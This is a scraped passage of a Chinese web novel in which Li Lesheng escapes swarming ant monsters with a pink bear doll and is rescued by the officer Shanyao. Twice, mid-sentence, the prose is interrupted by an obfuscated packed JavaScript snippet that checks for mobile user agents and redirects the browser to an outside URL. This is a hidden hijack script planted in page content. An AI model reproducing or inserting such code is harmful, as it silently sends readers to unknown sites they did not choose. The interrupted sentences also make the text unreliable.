“观世音菩萨玉皇大帝耶稣圣母玛利亚湿婆神太上老君猴哥我谢谢你们啊!阿门!吾皇万岁万岁万万岁……”李乐生一股脑将自己能知道东西方所有的神都感谢了一遍,其中甚至夹杂了一些诸如统一六国开启大一统、玄武门嘎腰子等历史著名事件里的主人公。 女人甚至奔跑的时候于胸前画了个十字,又双手合十朝着四周拜了好几下,她觉得礼仪这块也得跟上。 甚是滑稽可笑。 李乐生可没空注意自己的形象,她心里只想着逃跑,虽然这具身体不会累,但该不会往后的每时每刻都要一直这么跑下去吧? 还是说,她可以把这群蚂蚁怪物累死? 设想了一下这个可能,李乐生觉得概率不是很大。 她又想起来自己的来时路,在那片星光河的对岸,她一直都没有遇到任何活物。 或者说,她和沈铎那么明目张胆的活动,她还无病呻吟了好几下,但是没有一只蚂蚁怪物出现。 难道说河对岸,这群蚂蚁怪物是过不去的吗? 李乐生灵机一动,连忙看了眼周围,她刚刚跑的太急,完全不知道是往哪个方向跑的。 但已经跑了这么久,没有看到那条河,就说明不是这个方向,她立马左转奔逃。 不管左边是不是对的,都先去看看,若是错的,带着身后的蚁潮绕一绕就行了,反正她现在强的可怕—— 仅限身体的活动能量。 正在此时,她忽然听到身后的蚁潮之中忽然有一阵阵“咯吱咯吱”的声音,像是锯木头,随后又是“咕叽咕叽”的声音,就像是含了口水不住的在口中与空气挤压的声音。 越来越多,越来越明显。 她好奇转头,与此同时,为首追着她的那只蚂蚁怪忽然抬头,又一个身体前倒的动作,瞬间从它的口中吐出一串绿色的液体,速度快的像是水弹。 直冲李乐生射来。 李乐生立马脚下使劲一蹬,往旁边躲开,整具身体刚刚跳开还没落地,那滩绿色的液体就已经射到了她刚刚的所在地。 那液体触地的一瞬间就隆起变成一个大型的果冻状的透明胶质物。 李乐生来不及细看,她在地上滚了好几下,察觉到自己腿上有异物,下意识伸手一抓,毛茸茸的、软软的触感直接传入大脑,她爬起来继续奔跑,抬起手,发现竟然是一个粉熊布偶人。 李乐生:!!!! 不是? 什么时候跟来的? 这小家伙一直抱着她的腿吗? 李乐生惊讶的五官甚是夸张,那粉熊布偶人被她抓着脑袋,皮囊都因为李乐生五指用力陷进去了,也不挣扎,身体就随着李乐生奔跑的速度摆动。 应该就是一直跟在她身边那个,最开始被她塞棉花治好脑袋的布偶人。李乐生猜想。 下一秒,布偶人伸出手拍拍自己的脑袋,这个动作彻底验证了李乐生的猜想。 也不知为何,她读懂了这个布偶人的意思,还想着让她去救那个只剩了个脑袋的同伴呢。 李乐生才不管它的想法,身后的蚁潮中越来越多的“子弹”射出来,李乐生不住的回头看着那密密麻麻的绿色子弹,从来没有过战斗经验,甚至都没有经历过战斗训练的她此时奇迹般的灵活。 左右反复横跳躲着那一个个子弹,有的几乎擦着她鼻尖射向前方,直接炸开变成一团隆起,李乐生好几次要撞上的时候硬生生将身体往旁边摔去,惯性所致让她总是滚的飞快,天地之物在她眼睛里都好几次翻转混沌,以至于她爬起来的时候睁眼的功夫都辨不清方向。 好在身体的金手指让她一点也不疼,或者也有可能是这个星球的地面是毛毡,撞击的回馈力度自然不会太大。 无论何种原因,都有助于她逃命。 身后的嘶吼声越来越急促,蚁潮似乎是一直追不到她愈发烦躁了,它们的嘶吼声中多了一种震感,就像是躯体里的什么东西在共振。 她不敢去思考,集中精神不住的张望观察,躲避着蚁潮吐向她的那些子弹。 粉熊布偶人的后脑勺被她用力的五指捏的都皱成了一团,好在它没有痛感,一点都不挣扎。 其实挣扎也不怕,它太轻了,力气也很小,比一只刚出生的小猫还好控制。 我靠!绝对跑反了!李乐生又见到了一处沙丘,连忙翻上去,又张望,她看到远处有一座白色的山脉,很低小,但绝对是山脉。 她想起来当时那条星光河,在她和沈铎前进的方向,似乎是河的源头有这么一处山脉。 原来那条河在她身后! 也就是说,她之前应该右转的! “靠啊!”李乐生大骂一声,连忙滑下沙丘,只能绕回去了。 哪知道这一滑却是个失误决策,那些蚂蚁怪物竟然头尾相接直接滚了下来。 有沙丘的坡度助力,一个个黑色的滚轮以刚才二倍不止的速度飞速冲下来,李乐生甚至还没站起来,就有两只滚轮截住了她的前路。 她心下大惊,连滚带爬的往左手方向奔去,结果耳边忽然传来“咯吱”一声,女人警铃大响立马往后一退,一个蚂蚁滚轮就砸在了原地。 它那锋利的触角直接插入了地面。 “咔咔……” 是这些蚂蚁怪物恢复原貌的声音,背甲与节肢不住的响着。 越来越多的滚轮围了过来,一层又一层,将李乐生包围。 李乐生吓得几乎魂飞魄散,它对上了一双血红的发光的眼睛。 很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190749|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快,越来越多的眼睛亮起来,死盯着她。 它们的牙齿开始磨合,脑袋也一卡一卡的扭动,忽然有一只朝她扑了过来。 李乐生大叫一声双手护在了身前,双眼下意识的闭上。 忽而听到一声诡异的碰撞声。 紧接着就是怪物的嘶吼声。 她连忙放下手,发现那只扑向她的蚂蚁怪物被压在身下,对方正恶狠狠的咬着它的触角,嘴巴里还发着嘶吼声。 与此同时,周围的蚂蚁怪物们竟然都开始恶狠狠的警惕起来,纷纷向着彼此发出威胁的吼声,一个个的背甲都轻微的振动着,似乎是战斗前的准备,但每一个蚂蚁怪物的节肢都没有移动,似乎是在等一种讯号。 李乐生从蚁口脱险的呆愣中回神,忽而明白过来,它们起内讧了。 这倒也是,周围这么多蚁怪,就她这么一盘菜,一人一口都有几十分分不上呢。 尽管如此,李乐生却高兴不起来。 这些蚂蚁怪物虽然在内讧,但是也没有放松对她的关注,她稍微动了一下脚,其中一只就迅速朝她吐过来了一颗“子弹”。 这次李乐生没躲过去,子弹直接射在她脚边,迅速炸开,隆起的“果冻”直接将她的小腿包裹住,她这才发现,这所谓的“果冻”就是加强版的强力胶+混凝土,几乎是瞬间,她的小腿就拔不出来了,而且紧紧的粘着地面,根本挣脱不了。 李乐生绝望的叹了口气,她真想砸这个胶体一拳,又怕自己的手也被粘在里面,只能憋着这股气拉着脸等死。 她抬手,看着粉熊布偶人的眼睛,觉得好笑又好气,又说不出什么话去凶对方。 临死到头,她生不起什么气,就是难过。 早知道就回家闹一场发一场疯了。她想。 早知道生死这么无常,她就应该狠狠地骂一骂家里那个臭耀祖,不,最好是直接和对方打一架!哪怕打不过也要打一架,要狠狠的揍他,揍他的脸,拿板凳砸他的背,在晚上他睡觉的时候将他暴打一顿。 只有这样,才能解气,解恨,才能痛快。 而不是在每个夜晚回想着那个早就腐烂生蛆的弟弟,为对方找补,却让自己变得越来越痛苦。 对了。 临死之前,就该让他们都不好过,而不是自己怀着怨恨、怀着不甘离开。 “你有爸爸妈妈吗?”她突然对手里的粉熊布偶人提问。 “唉——”李乐生觉得自己是个傻子,“也不知道你什么时候会有自己的思想。” 腥臊刺鼻的气味入侵着她的嗅觉,周围的蚁怪们终于按耐不住,有一只再次向李乐生扑了过来,黑影冲过,将其撞开。 紧接着场面一发不可收拾,蚁怪们陷入了混乱的内战中,那种躯体被强咬合力的牙齿硬生生咬碎,肢体断裂,背甲疯狂扇动的声音混合在一起,墨绿色的粘稠的血液四处喷溅,李乐生猝不及防也被溅了好几下。 她立马举着那只布偶人护住了自己的脸,越来越浓的味道刺激着她的大脑,李乐生皱起了眉,但是身体却没有产生干呕之类的反应。 她也没心思细想,反倒是发现了一个问题。 如果这群蚁怪自相残杀到最后,不就只剩下一个了? 如果只有一个的话? …… 那她还怕什么? 那不随便遛狗吗? 李乐生豁然开朗,这可真是山重水复疑无路,柳暗花明又一村呐! 求生欲再次上来,她激动的身体紧绷起来,结果右腿的阻力让她的兴奋瞬间跌落谷底。 她腿还被困着呢…… 47. 第 47 章 这些蚁怪初时自相残杀倒还勉强称得上是理智尚存,内战到最后基本只剩下了进食的兽性。 彼此之间吞之入腹,互为口食,若非外形一致,任谁来了都不能觉得它们是同个种族。 混乱之中,李乐生见到一只蚁怪咬断了脖子,血液横流,剩下的蚁怪便都凑上前去分而食之,毫不犹豫,那硬邦邦的背甲在这些蚁怪的尖牙利齿下轻飘飘的沦为食物,“咔嚓咔嚓”的声音像是在嚼薯片。 然而正是这声音听的李乐生头皮发麻,心底骇然。 四周一片片断肢残骸,墨绿色的浑浊血液浸入毛毡地表后又在地表堆积了厚厚一层,破碎的背甲残存的碎片躺在血泊之中,而那些活下来的蚁怪们还在啃食着已经死亡的尸体,那些尸体被活着的同伴们蚕食时偶尔动几下,长足耷拉着。 进食的声音绕着李乐生从四面八方响起,李乐生的脑子不受控制的将自己代入了那些死亡的尸体身上,她似乎看到了自己的腿被咬断,脖子被咬断,还在活着时却要眼睁睁观赏自己变成食物被吞噬的场景。 那些腥臭的浓烈气味就像是无形的鞭子不停的鞭打着她,刺激着她的大脑,让她本来勉强冷静的神智动摇了起来。 那些蚁怪吃的很入神,很专注,似乎完全忘记了李乐生的存在。 李乐生觉得,她不能坐以待毙。 或者说,她还想活下去。 女人左顾右看,却不敢发出任何声音,可是四周根本没有人,她咬牙又试图将自己的腿从那胶状的物质中拔出来,反复几次,腿都要抽筋了也是纹丝不动地。 李乐生心越来越凉,正在此时,她余光中扫到了一个黑色的东西—— 是一只蚁怪断裂的触角。 然而离她有两米多的距离,正在一个只剩下屁股的蚁怪的身下,浸泡在断身流下来的血液中。 李乐生脑子疯狂运转,忽然灵光一闪,看向了手中的粉熊布偶人。 她焦急的指着那个锋利的触角,又把布偶人放在地上,示意对方过去把触角带回来给她。 粉熊布偶人歪歪脑袋,顺着她手指的方向看了一眼,李乐生大喜,以为这个布偶人知道她的意思。 结果下一秒,粉熊布偶人抬手疯狂指着那处,又做出一个画圈向胸内的动作,和李乐生一模一样。 李乐生气急,直接一拳敲在布偶人脑袋上,团滚滚的脑袋瞬间凹下去一块,随着李乐生离手又恢复了原样。 这布偶人见状也举起左臂,圆形的手拍在了李乐生的膝盖上,它太矮了,实在拍不到李乐生的头。 李乐生气的想再给这个傻乎乎的布偶人一拳。 她又紧张的扫视一眼周围,那些蚁怪还沉浸在蚕食同伴的口欲里,注意不到她这边的动作。 她只好耐心的弯下腰,将布偶人往那个方向推了推,试图用自己自创的肢体语言来和布偶人交流,她指了指困着自己的胶体,又指了指那个断裂的触角,再次推推布偶人,让对方过去。 布偶人被她推一下就走一步,不推便不走,还要待在原地观察她的动作。 李乐生要疯了。 “笨死了你!”她声音小的只有气声,虽然知道布偶人思维单一,但生死关头,她实在无法理智看待这件事。 或者说,恐惧令她把生的希望寄托在了那个触角上,她希望能利用那个锋利的触角将自己的腿从这个胶体中救出来,尽管她自己都不确定能不能行。 但目前为止,唯有这个方法一试。 偏偏布偶人的思维和她根本不一样,不理解她的指令,任她如何费劲功夫,都是徒劳。 加上她又不敢出声,怕稍微一点声音就能引起蚁怪们的注意,便更难了。 事实证明,李乐生选择哑声双手比划是比较对的,那些蚁怪的听力竟如此灵敏,她吐槽布偶人的这四个字低的能被微风轻易盖住,可偏偏那群蚁怪们逐一抬起了头,都看向了李乐生。 蚁群由最开始的一百多只互相厮杀,到现在,只剩下了五只最强壮的,其中两只各自掉了一只触角, 有一只背甲和腿都受了伤,剩余两只相互依偎着,似乎从头到尾都是合作厮杀,所以状态要比其他三只好很多。 而现在,五只蚁怪已经停下了内战,纷纷使足爬向了李乐生。 李乐生吓得连忙拔腿,即便心里知道徒劳,但求生的本能让她实在没办法冷静等死,毕竟不是所有人有勇气做到第二次等死还能淡定,尤其是亲眼见到了这些蚁怪进食的方式后。 死腿!给我出来啊!!!李乐生双手几乎是掐似的抱着自己的腿使劲,依旧无用。 “咯吱……” 五头蚁怪相继磨动牙齿,这次它们很和谐,看来是决定分食她。 李乐生更慌了,偏偏那只粉熊布偶人还跟没事人似的待在一旁,甚至模仿起了李乐生的动作—— 双手抱腿,不停弯腰直腰。 李乐生气的直接骂出了声:“笨蛋!!!!” 这次她没有控制,声音大的几乎是吼出来的,五头蚁怪听到她的怒骂声就像是接收到了某种指令,忽然一顿,紧接着纷纷低身,随后整齐发力像是蟋蟀一样跳起冲向了李乐生。 李乐生彻底心死,跌坐在地。 最大的那只蚁怪正面冲来,与她几乎脸要贴在了一起,她清楚的看到对方那双红色的眼睛里其实是更多密密麻麻的复眼,复眼一收一缩好似无数条蠕动的虫子,它那只血盆大口里,一圈锋利的牙齿由于嘴巴大张,角度几乎像是从嘴巴里伸出来的无数小刀。 李乐生瞪大了眼睛,手撑地面,恐惧令她移不开眼睛,牙齿打颤。 整个世界似乎在这一刻开启了电影镜头中的慢动作,她的恐惧,蚁怪的凶残贪婪,在此刻都被无限放大。 忽然,李乐生看到,这只蚁怪的嘴巴闭合了,不,应该说,是对方咬了一口,却没有咬到她。 她的眼睛眨了一下,瞬间察觉到了不对劲。 真的暂停了? 至少……这些蚁怪们停在半空中不动了。 这是怎么回事?她一头雾水,想要站起,但又怕碰到这只蚁怪,毕竟对方就在她头顶。 正在此时,她直觉身后有什么东西,立马转头,看到了一个熟人。 穿着蓝色治安服的女人一头黑色长发,白色作战护目镜下的那双灰眸正盯着她,茫然中带了几分好奇。 正是闪耀。 李乐生:? 她大脑宕机了一秒。 闪耀抬手挥动,那几只蚁怪立马被一股无形的力量掀飞,或是甩到高空,或是砸在一旁的地上不停滚动,引得李乐生回头看去,紧接着她只听见一声十分急促尖利的声音,像是疾风穿过岩石缝隙时刮起的风哨声,十分刺耳吓人。 下一秒,那些蚁怪的身体便忽然四分五裂,掉在地上。 李乐生愣愣的看着蚁怪们的尸体,如释重负。 她又活了! 腿上的胶体忽然也被切成碎块,李乐生立马收腿出来,眼睛看着那碎块,切割痕迹十分平整丝滑。 莫非这就是闪耀的异能?她想。 这个联邦总部的治安队长一出现,蚁怪们就被杀了,她自然明白了其中逻辑。 李乐生赶忙站起来,转身看向闪耀,“谢谢你救我,不过,你为什么会在这里?” 她刚问出口,忽然一惊,没等闪耀回答,立马追问,“李唯一呢?你把她怎么样了?” “我在这里,也是你搞的鬼?” 闪耀奇怪的看了她一眼。 李乐生对这人有心理阴影,对方这一眼立马让她退后了一步,警惕起来,但她又实在担心李唯一,她已经很久没见到李唯一了,压根不知道对方现在到底是什么处境。 “你们把她怎么样了?”她又问,声音焦躁不安。 闪耀静静回答:“没怎么样。” 李乐生怀疑的看着她。 闪耀抬脚向她走去,李乐生立马再退一步。 闪耀停下,歪头,皱眉,“你怕我?” 李乐生心道这不废话么?我都从你手里死里逃生两次了,能不怕你吗? 回想起自己来之前遇到的那些意外,再加上这里的遭遇,李乐生忽然发现自己竟然一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199274|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在逃命! “李唯一呢?”她没有回答闪耀的问题,而是继续向对方确定李唯一的情况。 “还在和大人们交涉。” 她口中的大人,自然就是联邦的那五个领导了。 “你没骗我吧?”李乐生狐疑开口。 “骗你没什么价值。” “那我为什么会在这?你们对我做了什么?为什么你又来救我?”李乐生一股脑的发问。 随后她便看到闪耀的那双眼睛再次出现了那种涣散、朦胧的眼神,像是一层薄薄的磨砂玻璃,玻璃之下,又有几分探究,“我并没有对你做什么,是你自己来这儿的。” 事实上,当她出现在这个星球上的时候,也十分震惊,直到现在都有一种难以完全相信的不真实感,而这一切的原因,都在李乐生身上。 然而李乐生似乎还不明白她自身携带的这股神秘力量,还以为是联邦对她做了什么。 “你很重要,当然要救你。”闪耀说道。 她迫切的想要探究清楚,李乐生身上到底有什么? 这句话让李乐生云里雾里的,她可没忘记之前在会议厅时,闪耀还说她没价值呢。 “你搁这左右脑互搏呢?”李乐生嘴角抽搐,心里想着,嘴巴快一步说了出来。 闪耀没有理会她这句话,抬脚走向李乐生,李乐生防备心还没落下,刚要后退,就发现自己身体动不了,像是有一股阻力将她包围了。 是闪耀的精神力。 李乐生紧张起来,眼睁睁看着对方走到她面前,女人抬手,放在她肩上。 对方又低下头,脸凑到了她面前,好奇专注的打量着她。 “你干嘛?”她问。 闪耀不语,只是盯着李乐生,尤其是她的眼睛,李乐生觉得不自在连忙移开眼睛不去看对方,治安官却压根不在乎二人之间这股尴尬的氛围,只默默的盯着她。 “你的身体,很奇妙。”闪耀忽然说道。 她想起厄斯星的李乐生,女人的身体还活着,大脑却死了。 真奇妙,她的大脑意识竟然可以脱离身体,穿越到其他的时空。 “我是来带你回去的,你太笨了。”闪耀直起身子,平静道。 李乐生立马抬头:? 似乎是从李乐生疑惑的眼神里读出了对方的不服气,闪耀嘴角勾起一抹笑,“还没发现自己来这里的原因,不是笨是什么?” 李乐生没有回答对方的问题,偏头翻了个白眼,看到了一旁的粉熊布偶人。 一人一熊眼睛对上,粉熊布偶人立马跑过来抱住了她的大腿。 李乐生想起来对方跟着自己的原因,抓着粉熊布偶人举到闪耀面前,“我们现在就回去吗?” 闪耀:“怎么了?” 李乐生:“它有几个族人还没治好,我想去看看。” 闪耀蹙眉,李乐生觉得对方心里又在想着“帮助这种外星种族到底能获得什么”之类的“价值论”。 哪知闪耀却点了点头,“你想去就去吧,我陪你。” “哎?”李乐生愣了一下。 闪耀继续道,“横竖回去的时间我无法决定。” 什么意思?李乐生眼珠子转了转,难道说厄斯星那边还没有能力让她们立刻回去? 她刚要问,闪耀又开口,“她同伴在哪?” 李乐生只好按下心中疑惑,望向四周,回想着自己的逃跑路线,在心中整合了一下,最后指向一个方向:“好像是那边,有一个三面都是沙丘环绕的小谷。还蛮远的……” 闪耀听后点了下头,忽然伸手环住李乐生的腰,将其禁锢在自己身侧。 李乐生猝不及防,声音语调拔高,“你干嘛!” 她另一只空着手立马就要推开对方,却被对方一句“抓紧!”喝止。 下一秒周身空气忽然产生剧烈抖动,大风拔地而起,治安官的长发在空中飞舞,有几缕掠过李乐生的唇,不过眨眼之间,她被闪耀带着飞起,二人乘风飞向她刚才所指的方向。 李乐生连忙将布偶人抱在怀中,再不敢多言,更不敢说话。